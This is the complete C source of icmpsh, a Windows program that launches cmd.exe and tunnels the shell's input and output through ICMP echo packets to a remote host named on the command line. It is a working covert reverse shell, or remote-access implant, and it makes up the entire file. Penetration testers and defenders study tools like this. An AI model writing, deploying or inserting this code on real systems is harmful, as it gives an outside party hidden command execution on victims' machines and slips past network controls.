/*
 *   icmpsh - simple icmp command shell
 *   Copyright (c) 2010, Nico Leidecker <nico@leidecker.info>
 *   This program is free software: you can redistribute it and/or modify
 *   it under the terms of the GNU General Public License as published by
 *   the Free Software Foundation, either version 3 of the License, or
 *   (at your option) any later version.
 *
 *    This program is distributed in the hope that it will be useful,
 *    but WITHOUT ANY WARRANTY; without even the implied warranty of
 *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *    GNU General Public License for more details.
 *
 *    You should have received a copy of the GNU General Public License
 *    along with this program.  If not, see <http://www.gnu.org/licenses/>.
 */

#include <iphlpapi.h>
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winsock2.h>

#define ICMP_HEADERS_SIZE (sizeof(ICMP_ECHO_REPLY) + 8)

#define STATUS_OK 0
#define STATUS_SINGLE 1
#define STATUS_PROCESS_NOT_CREATED 2

#define TRANSFER_SUCCESS 1
#define TRANSFER_FAILURE 0

#define DEFAULT_TIMEOUT 3000
#define DEFAULT_DELAY 200
#define DEFAULT_MAX_BLANKS 10
#define DEFAULT_MAX_DATA_SIZE 64

FARPROC icmp_create, icmp_send, to_ip;

int verbose = 0;

int spawn_shell(PROCESS_INFORMATION *pi, HANDLE *out_read, HANDLE *in_write) {
  SECURITY_ATTRIBUTES sattr;
  STARTUPINFOA si;
  HANDLE in_read, out_write;

  memset(&si, 0x00, sizeof(SECURITY_ATTRIBUTES));
  memset(pi, 0x00, sizeof(PROCESS_INFORMATION));

  // create communication pipes
  memset(&sattr, 0x00, sizeof(SECURITY_ATTRIBUTES));
  sattr.nLength = sizeof(SECURITY_ATTRIBUTES);
  sattr.bInheritHandle = TRUE;
  sattr.lpSecurityDescriptor = NULL;

  if (!CreatePipe(out_read, &out_write, &sattr, 0)) {
    return STATUS_PROCESS_NOT_CREATED;
  }
  if (!SetHandleInformation(*out_read, HANDLE_FLAG_INHERIT, 0)) {
    return STATUS_PROCESS_NOT_CREATED;
  }

  if (!CreatePipe(&in_read, in_write, &sattr, 0)) {
    return STATUS_PROCESS_NOT_CREATED;
  }
  if (!SetHandleInformation(*in_write, HANDLE_FLAG_INHERIT, 0)) {
    return STATUS_PROCESS_NOT_CREATED;
  }

  // spawn process
  memset(&si, 0x00, sizeof(STARTUPINFO));
  si.cb = sizeof(STARTUPINFO);
  si.hStdError = out_write;
  si.hStdOutput = out_write;
  si.hStdInput = in_read;
  si.dwFlags |= STARTF_USESTDHANDLES;

  if (!CreateProcessA(NULL, "cmd", NULL, NULL, TRUE, 0, NULL, NULL,
                      (LPSTARTUPINFOA)&si, pi)) {
    return STATUS_PROCESS_NOT_CREATED;
  }

  CloseHandle(out_write);
  CloseHandle(in_read);

  return STATUS_OK;
}

void usage(char *path) {
  printf("%s [options] -t target\n", path);
  printf("options:\n");
  printf("  -t host            host ip address to send ping requests to\n");
  printf(
      "  -r                 send a single test icmp request and then quit\n");
  printf("  -d milliseconds    delay between requests in milliseconds (default "
         "is %u)\n",
         DEFAULT_DELAY);
  printf("  -o milliseconds    timeout in milliseconds\n");
  printf("  -h                 this screen\n");
  printf("  -b num             maximal number of blanks (unanswered icmp "
         "requests)\n");
  printf("                     before quitting\n");
  printf("  -s bytes           maximal data buffer size in bytes (default is "
         "%u bytes)\n\n",
         DEFAULT_MAX_DATA_SIZE);
  printf("In order to improve the speed, lower the delay (-d) between requests "
         "or\n");
  printf("increase the size (-s) of the data buffer\n");
}

void create_icmp_channel(HANDLE *icmp_chan) {
  // create icmp file
  *icmp_chan = (HANDLE)icmp_create();
}

int transfer_icmp(HANDLE icmp_chan, unsigned int target, char *out_buf,
                  unsigned int out_buf_size, char *in_buf,
                  unsigned int *in_buf_size, unsigned int max_in_data_size,
                  unsigned int timeout) {
  int rs;
  char *temp_in_buf;
  int nbytes;

  PICMP_ECHO_REPLY echo_reply;

  temp_in_buf = (char *)malloc(max_in_data_size + ICMP_HEADERS_SIZE);
  if (!temp_in_buf) {
    return TRANSFER_FAILURE;
  }

  // send data to remote host
  rs = icmp_send(icmp_chan, target, out_buf, out_buf_size, NULL, temp_in_buf,
                 max_in_data_size + ICMP_HEADERS_SIZE, timeout);

  // check received data
  if (rs > 0) {
    echo_reply = (PICMP_ECHO_REPLY)temp_in_buf;
    if (echo_reply->DataSize > max_in_data_size) {
      nbytes = max_in_data_size;
    } else {
      nbytes = echo_reply->DataSize;
    }
    memcpy(in_buf, echo_reply->Data, nbytes);
    *in_buf_size = nbytes;

    free(temp_in_buf);
    return TRANSFER_SUCCESS;
  }

  free(temp_in_buf);

  return TRANSFER_FAILURE;
}

int load_deps() {
  HMODULE lib;

  lib = LoadLibraryA("ws2_32.dll");
  if (lib != NULL) {
    to_ip = GetProcAddress(lib, "inet_addr");
    if (!to_ip) {
      return 0;
    }
  }

  lib = LoadLibraryA("iphlpapi.dll");
  if (lib != NULL) {
    icmp_create = GetProcAddress(lib, "IcmpCreateFile");
    icmp_send = GetProcAddress(lib, "IcmpSendEcho");
    if (icmp_create && icmp_send) {
      return 1;
    }
  }

  lib = LoadLibraryA("ICMP.DLL");
  if (lib != NULL) {
    icmp_create = GetProcAddress(lib, "IcmpCreateFile");
    icmp_send = GetProcAddress(lib, "IcmpSendEcho");
    if (icmp_create && icmp_send) {
      return 1;
    }
  }

  printf("failed to load functions (%u)", GetLastError());

  return 0;
}
int main(int argc, char **argv) {
  int opt;
  char *target;
  unsigned int delay, timeout;
  unsigned int ip_addr;
  HANDLE pipe_read, pipe_write;
  HANDLE icmp_chan;
  unsigned char *in_buf, *out_buf;
  unsigned int in_buf_size, out_buf_size;
  DWORD rs;
  int blanks, max_blanks;
  PROCESS_INFORMATION pi;
  int status;
  unsigned int max_data_size;

  // set defaults
  target = 0;
  timeout = DEFAULT_TIMEOUT;
  delay = DEFAULT_DELAY;
  max_blanks = DEFAULT_MAX_BLANKS;
  max_data_size = DEFAULT_MAX_DATA_SIZE;

  status = STATUS_OK;
  if (!load_deps()) {
    printf("failed to load ICMP library\n");
    return -1;
  }

  // parse command line options
  for (opt = 1; opt < argc; opt++) {
    if (argv[opt][0] == '-') {
      switch (argv[opt][1]) {
      case 'h':
        usage(*argv);
        return 0;
      case 't':
        if (opt + 1 < argc) {
          target = argv[opt + 1];
        }
        break;
      case 'd':
        if (opt + 1 < argc) {
          delay = atol(argv[opt + 1]);
        }
        break;
      case 'o':
        if (opt + 1 < argc) {
          timeout = atol(argv[opt + 1]);
        }
        break;
      case 'r':
        status = STATUS_SINGLE;
        break;
      case 'b':
        if (opt + 1 < argc) {
          max_blanks = atol(argv[opt + 1]);
        }
        break;
      case 's':
        if (opt + 1 < argc) {
          max_data_size = atol(argv[opt + 1]);
        }
        break;
      default:
        printf("unrecognized option -%c\n", argv[1][0]);
        usage(*argv);
        return -1;
      }
    }
  }

  if (!target) {
    printf("you need to specify a host with -t. Try -h for more options\n");
    return -1;
  }
  ip_addr = to_ip(target);

  // don't spawn a shell if we're only sending a single test request
  if (status != STATUS_SINGLE) {
    status = spawn_shell(&pi, &pipe_read, &pipe_write);
  }

  // create icmp channel
  create_icmp_channel(&icmp_chan);
  if (icmp_chan == INVALID_HANDLE_VALUE) {
    printf("unable to create ICMP file: %u\n", GetLastError());
    return -1;
  }

  // allocate transfer buffers
  in_buf = (char *)malloc(max_data_size + ICMP_HEADERS_SIZE);
  out_buf = (char *)malloc(max_data_size + ICMP_HEADERS_SIZE);
  if (!in_buf || !out_buf) {
    printf("failed to allocate memory for transfer buffers\n");
    return -1;
  }
  memset(in_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE);
  memset(out_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE);

  // sending/receiving loop
  blanks = 0;
  do {

    switch (status) {
    case STATUS_SINGLE:
      // reply with a static string
      out_buf_size = sprintf(out_buf, "Test1234\n");
      break;
    case STATUS_PROCESS_NOT_CREATED:
      // reply with error message
      out_buf_size = sprintf(out_buf, "Process was not created\n");
      break;
    default:
      // read data from process via pipe
      out_buf_size = 0;
      if (PeekNamedPipe(pipe_read, NULL, 0, NULL, &out_buf_size, NULL)) {
        if (out_buf_size > 0) {
          out_buf_size = 0;
          rs = ReadFile(pipe_read, out_buf, max_data_size, &out_buf_size, NULL);
          if (!rs && GetLastError() != ERROR_IO_PENDING) {
            out_buf_size = sprintf(out_buf, "Error: ReadFile failed with %i\n",
                                   GetLastError());
          }
        }
      } else {
        out_buf_size = sprintf(out_buf, "Error: PeekNamedPipe failed with %i\n",
                               GetLastError());
      }
      break;
    }

    // send request/receive response
    if (transfer_icmp(icmp_chan, ip_addr, out_buf, out_buf_size, in_buf,
                      &in_buf_size, max_data_size,
                      timeout) == TRANSFER_SUCCESS) {
      if (status == STATUS_OK) {
        // write data from response back into pipe
        WriteFile(pipe_write, in_buf, in_buf_size, &rs, 0);
      }
      blanks = 0;
    } else {
      // no reply received or error occured
      blanks++;
    }

    // wait between requests
    Sleep(delay);

  } while (status == STATUS_OK && blanks < max_blanks);

  if (status == STATUS_OK) {
    TerminateProcess(pi.hProcess, 0);
  }

  return 0;
}
